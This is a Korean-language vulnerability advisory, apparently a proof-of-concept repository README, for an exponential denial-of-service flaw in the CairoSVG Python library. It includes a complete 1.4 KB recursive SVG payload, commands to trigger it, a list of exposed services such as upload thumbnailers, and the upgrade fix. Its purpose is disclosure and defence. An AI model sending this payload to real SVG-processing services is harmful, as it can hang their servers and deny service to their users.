
CVE-2026-31899: CairoSVG의 재귀적 <use> 요소 증폭을 통한 지수적 DoS (CVSS 7.5 높음)
키워드: CVE-2026-31899, CairoSVG, 지수적 DoS, SVG 폭탄, 재귀적 use 요소, 서비스 거부, XML 증폭, Python SVG 취약점, CWE-400, 통제되지 않은 리소스 소비, billion laughs SVG
CairoSVG 지수적 서비스 거부 (CVE-2026-31899) — 1,411바이트 SVG 페이로드가 재귀적 요소 증폭을 통해 CPU를 무기한 100%로 고정시킵니다.
CairoSVG(주당 약 30만 회 다운로드)는 널리 사용되는 Python SVG-to-PNG/PDF 변환기입니다. cairosvg/defs.py의 use() 함수는 깊이 또는 개수 제한 없이 요소를 재귀적으로 처리합니다. 각각 10개의 참조를 가진 5단계 중첩만으로도 작은 SVG가 10^5 = 100,000회의 렌더링 호출을 유발합니다 — SVG "billion laughs" 변종입니다.
발견자: Kai Aizen — SnailSploit 게시일: 2026년 3월 13일 CVSS 점수: 7.5 (높음) CWE: CWE-400 — 통제되지 않은 리소스 소비 (Uncontrolled Resource Consumption) 패키지: CairoSVG (PyPI) 공격 유형: 지수적 서비스 거부 (Exponential DoS) 필요 권한: 없음 (인증 불필요)
cairosvg/defs.py(약 335행)의 use() 함수는 다른 요소를 참조하는 요소를 재귀적으로 처리합니다. 재귀 깊이 제한이나 전체 요소 예산이 없습니다. 공격자는 각 계층이 이전 계층을 N회 참조하는 작은 SVG를 제작하여 O(depth) 입력만으로 O(N^depth) 렌더링 호출을 발생시킬 수 있습니다.
취약점은 다음과 같은 이유로 존재합니다:
5단계와 분기 계수 10의 경우:
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
총계: 1,411바이트 입력에서 111,111회의 렌더링 호출 발생.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
방법 1 — 명령줄:
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
방법 2 — Python:
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
SVG 입력을 받아들이고 처리를 위해 CairoSVG를 사용하는 모든 서비스가 취약합니다:
| 공격 표면 | 예시 |
|---|---|
| 썸네일 생성 | SVG 업로드 → 서버가 PNG로 변환 |
| PDF 생성 | 문서에 포함된 SVG → CairoSVG가 렌더링 |
| 아바타/이미지 처리 | 사용자가 업로드한 SVG 프로필 이미지 |
1.4KB 페이로드가 포함된 단일 요청은 최소한의 메모리만 소비하면서 처리 스레드를 무기한 고정시킵니다(당신을 구해줄 OOM 킬도 없습니다).
CairoSVG를 버전 2.9.0 이상으로 업그레이드하세요:
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| 날짜 | 이벤트 |
|---|---|
| 2026-03-09 | CVE 예약됨 |
| 2026-03-13 | 권고 게시됨 (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | 수정 사항이 포함된 CairoSVG 2.9.0 릴리스 |
Kai Aizen (SnailSploit)
⚠️ 면책 조항: 이 저장소는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 개념 증명은 방어자가 자신의 노출을 검증하는 데 도움을 주기 위해 제공됩니다. 책임감 있게 사용하세요.
이 프로젝트의 전체 분석 보고서, 방법론 및 관련 연구는 다음에서 확인할 수 있습니다:
Kai Aizen — 독립 공격 보안 연구원이 제작했습니다.
snailsploit.com · 연구 · 프레임워크 · GitHub · LinkedIn · ResearchGate · X/Twitter
동일한 공격. 다른 기반 환경.
| 보고서 렌더링 |
| 자동화된 보고서의 SVG 차트 |
| CI/CD 파이프라인 | 빌드 중 처리되는 SVG 자산 |
| 지표 | 값 |
|---|
| 공격 벡터 | 네트워크 (AV:N) |
| 공격 복잡도 | 낮음 (AC:L) |
| 필요 권한 | 없음 (PR:N) |
| 사용자 상호작용 | 없음 (UI:N) |
| 범위 | 변경되지 않음 (S:U) |
| 기밀성 | 없음 (C:N) |
| 무결성 | 없음 (I:N) |
| 가용성 | 높음 (A:H) |